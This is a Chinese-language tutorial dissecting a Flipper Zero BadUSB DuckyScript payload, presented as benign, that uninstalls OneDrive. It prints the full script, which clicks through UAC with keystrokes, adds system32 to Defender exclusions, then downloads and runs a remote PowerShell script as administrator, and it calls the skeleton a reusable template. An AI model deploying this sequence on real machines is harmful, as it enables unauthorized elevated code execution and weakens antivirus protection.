首页
/ Flipper Zero BadUSB 之 OneDrive 自动卸载 Payload 解析:DuckyScript 原理与 GoodUSB 部署实战

Flipper Zero BadUSB 之 OneDrive 自动卸载 Payload 解析:DuckyScript 原理与 GoodUSB 部署实战

2026-09-13 10:55:29作者:史锋燃Gardner

本文以 Flipper 仓库中 OneDrive_Removal 脚本说明 为主体,结合其同目录的 DuckyScript 载荷源码 uninstall_onedrive.txt,完整拆解"Flipper Zero 以 U 盘形态插入 Windows、自动提权并卸载 OneDrive"这一 GoodUSB 场景的实现链条。读完后你将掌握:DuckyScript 各指令(DELAY / GUI / STRING / 组合键)的逐行语义、UAC 提权的关键按键技巧、PowerShell 远程下载并执行脚本的一行式写法,以及将此类脚本导入 Flipper 并排错的完整流程。

脚本定位与文档说明

uninstall_onedrive 位于仓库 BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/ 目录下,是 UNC0V3R3D BadUSB 合集的 GoodUSB 分类成员(合集 README 的 Release History 显示 GoodUSB 文件夹自 v2.2 起加入合集)。该分类下的脚本定位为"对目标机器有益"的操作,例如卸载 OneDrive、精简系统预装应用等。

官方 readme 给出的核心信息如下,本文所有分析都以此为基础:

  • 功能描述:This script will download a script that will remove the onedrive app from windows(脚本会下载一个 ps1 脚本,用于从 Windows 中移除 OneDrive 应用);
  • 使用方式:plug and play(即插即用,无需手工干预);
  • 功能步骤(Features)
    1. open powershell(打开 PowerShell);
    2. download ps1 script(下载 ps1 脚本);
    3. remove onedrive(移除 OneDrive);
  • 反馈与支持:作者通过 Discord(UNC0V3R3D#8662)接收反馈与支持请求。

一个必须强调的事实是:OneDrive 的实际卸载逻辑并不在本仓库内。载荷本身只是一个"下载器",真正执行卸载的 uninstall_onedrive.ps1 在运行时从作者的外部仓库动态拉取(见下文第 4 节)。合集 README 也注明该合集是 "an archived version with some dead links/pics removed"(归档版本,部分死链已移除),因此在使用前应先确认远程 ps1 地址仍然可用。

合集 README 同时明确了使用边界

This project is for educational purposes only! Please seek permission before running any of the scripts provided by me.

即:仅限教育用途,运行任何脚本前必须征得机器所有者同意;作者建议"为了安全起见,使用虚拟机测试脚本"。

完整 DuckyScript 载荷逐行解析

GoodUSB 脚本遵循合集 README 的约定:"All BadUsb-Scripts are written in the DuckyScript 1.0 language"(所有 BadUSB 脚本均使用 DuckyScript 1.0 编写),且"REM 开头的注释行通常解释了整个过程"。uninstall_onedrive.txt 全文如下(共 19 行,可直接复制到 Flipper 的 BadUSB 目录):

REM Author: UNC0V3R3D
REM Description: Uninstalls OneDrive.
REM Version: 1.0
REM Category: GoodUSB
DELAY 500
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
CTRL-SHIFT ENTER
DELAY 1500
SHIFT TAB
DELAY 500
ENTER
DELAY 1500
STRING Add-MpPreference -ExclusionPath C:\Windows\system32
ENTER
DELAY 500
STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/uninstall_onedrive.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit
ENTER

以下按执行顺序逐行说明。

1. REM 头部元信息块

REM Author: UNC0V3R3D
REM Description: Uninstalls OneDrive.
REM Version: 1.0
REM Category: GoodUSB

REM 是 DuckyScript 的注释指令,执行时被跳过。四行元信息(作者 / 描述 / 版本 / 分类)是 UNC0V3R3D 合集的固定规范——例如 GoodUSB 下的 win_debloat.txt 头部结构完全一致(Category: GoodUSB)。这个头部让使用者在 Flipper 上导入前就能通过文件名 + 头注释判断脚本归属。

2. 延时与打开 Run 对话框

DELAY 500
GUI r
  • DELAY 500 表示等待 500 毫秒。合集 README 的 Troubleshooting 章节明确指出:DELAY 后的数字单位是毫秒;若出现"脚本打开的窗口不对、文字打到了错误位置",通常就是延时过短,解决方法是调大延时(原文示例:DELAY 500DELAY 700)。
  • GUI r 发送 Win + R 组合键,打开 Windows 的 Run(运行)对话框。Run 对话框是本载荷提权流程的入口。

3. 提权启动管理员 PowerShell

DELAY 500
STRING powershell Start-Process powershell -Verb runAs
CTRL-SHIFT ENTER
  • STRING ... 在 Run 对话框中键入 powershell Start-Process powershell -Verb runAs-Verb runAs 是 PowerShell 的"以管理员身份运行"参数。
  • 关键点在 CTRL-SHIFT ENTER:普通回车(ENTER)在 Run 对话框中只会以当前用户权限执行;而在 Run 对话框中按 Ctrl + Shift + Enter 会弹出 UAC 提示并以管理员权限执行该命令。这是整个载荷能否获得系统权限的分水岭,也是 DuckyScript 类脚本利用组合键实现提权的典型手法。

4. UAC 对话框上的"确认是"

DELAY 1500
SHIFT TAB
DELAY 500
ENTER

UAC 确认对话框打开后,默认焦点落在"No(否)按钮上(Windows 安全设计的默认拒绝策略)。因此载荷使用:

  • DELAY 1500:等待 UAC 对话框渲染完成(1500ms 是典型的对话框等待量);
  • SHIFT TAB:将焦点从"No"移动到"Yes(是)"按钮;
  • DELAY 500 + ENTER:确认提权。

这三行是"键盘驱动"处理 UAC 的标准序列——脚本无需鼠标,仅靠 Tab/Shift+Tab 在按钮间移动焦点即可完成确认。

5. 为 Windows Defender 添加排除路径

STRING Add-MpPreference -ExclusionPath C:\Windows\system32
ENTER

Add-MpPreference -ExclusionPath C:\Windows\system32 是 Windows Defender(Microsoft Defender)的 PowerShell 模块 cmdlet,作用是把 C:\Windows\system32 目录加入防病毒排除列表,使该目录下的文件不再被实时防护扫描。

需要注意这是一个明显放宽系统防护的操作:虽然本载荷的本意是保证后续下载的脚本与 OneDrive 卸载动作不被拦截,但把整个 system32 加入排除项会扩大攻击面。这正是合集 README 反复强调"运行前征得同意、建议在虚拟机中测试"的原因。在自己的机器、已授权的测试机或虚拟机上执行是可接受的演示,但不应在无授权的目标机器上执行。

6. 下载并执行远程卸载脚本(核心一行)

STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/uninstall_onedrive.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit
ENTER

这一行把 readme 中"download ps1 script → remove onedrive"两步压缩成一条 PowerShell 流水线:

  1. New-Object System.Net.WebClient 创建 .NET 的 WebClient 对象;
  2. | %{ ... } 对对象执行脚本块:$_.DownloadFile('…uninstall_onedrive.ps1', 'script.ps1') 把远程 ps1 下载到当前工作目录并命名为 script.ps1
  3. Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"管理员权限新开一个 PowerShell 窗口执行该脚本——真正的 OneDrive 卸载逻辑(停止 OneDrive 服务、卸载应用等)在远程 ps1 内完成,本仓库不包含这些细节;
  4. 末尾的 exit 使当前会话在下载并拉起新窗口后自行结束。

从源码结构看,这个"下载并执行远程 ps1"的骨架在 GoodUSB 分类里是可复用的模板win_debloat.txt 的 19 行结构与 uninstall_onedrive.txt 逐行对应,唯一差异是第 18 行下载的 ps1 文件名(debloat_windows.ps1)。这说明 UNC0V3R3D 把"提权 + Defender 排除 + 远程脚本落地执行"沉淀成了标准前奏,后续只需替换目标脚本 URL 即可派生新的 GoodUSB 载荷。

在 Flipper Zero 上的部署与运行

合集 README 给出的部署路径(适用前提:Windows 或移动端已安装 qFlipper / Flipper 官方 App):

  1. 从本仓库获取 uninstall_onedrive.txt(本仓库路径:BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/OneDrive_Removal/uninstall_onedrive.txt);
  2. 通过 qFlipper 打开 SD Card → badusb,把文件拖入(原文步骤:"Open qFlipper --> SD Card --> badusb --> Move the files here");移动端则用 Flipper 官方 App 通过蓝牙同步;
  3. Flipper 端进入 BadUSB 分类,选中该脚本文件,按提示把 Flipper 用 USB 线插入目标 PC;
  4. 按 Flipper 的中间按钮开始执行,脚本即按上文流程在目标机自动运行。

排错要点(摘自合集 README Troubleshooting)

  • 文字打到错误位置 / 打开了错误的窗口:多为 DELAY 过短,把对应延时调大(如 500 → 700);
  • Flipper 报 ERROR: line 5 之类的行号错误:最常见原因是命令之间存在随机空行;其次检查是否含有 LOCALE .. 命令(README 称其在 Flipper 上不能正常工作);再检查出错行行首是否有多余空格

安全与合规要点

  • 使用授权:合集 README 的使用协议明确"仅限教育目的",且要求"运行脚本前先征得许可",作者不对使用造成的损坏负责;
  • 防护削弱副作用:本载荷会执行 Add-MpPreference -ExclusionPath C:\Windows\system32,即把系统目录整体移出 Defender 实时扫描范围,即使卸载完成后该排除项也可能保留,建议在受控环境中评估与清理;
  • 供应链依赖:实际卸载逻辑在运行时从外部 URL 下载(…/uninstall_onedrive.ps1),本仓库只包含下载与执行的前奏;合集本身标注为归档版本(部分链接已失效),使用前应核实远程脚本地址有效性,并对下载内容做审查,避免"执行了看不见的代码";
  • 测试环境:官方建议优先在虚拟机中验证 DuckyScript 载荷的时序(DELAY 取值依赖目标机响应速度,不同硬件/系统状态下 UAC 弹出时延不同)。

同模板脚本延伸阅读

GoodUSB 目录下与 uninstall_onedrive 采用完全相同"提权 + 下载远程 ps1"骨架的还有 win_debloat.txt(卸载预装应用)等,其各自的 readme.md 同样标注 plug and play 使用方式。理解本文对 uninstall_onedrive 的逐行分析后,这些同族脚本可以直接按同一套方法(REM 元信息 → Run 对话框 → Ctrl+Shift+Enter 提权 → SHIFT TAB 确认 UAC → Defender 排除 → 下载执行远程 ps1)进行审阅与复现。

登录后查看全文
热门项目推荐
相关项目推荐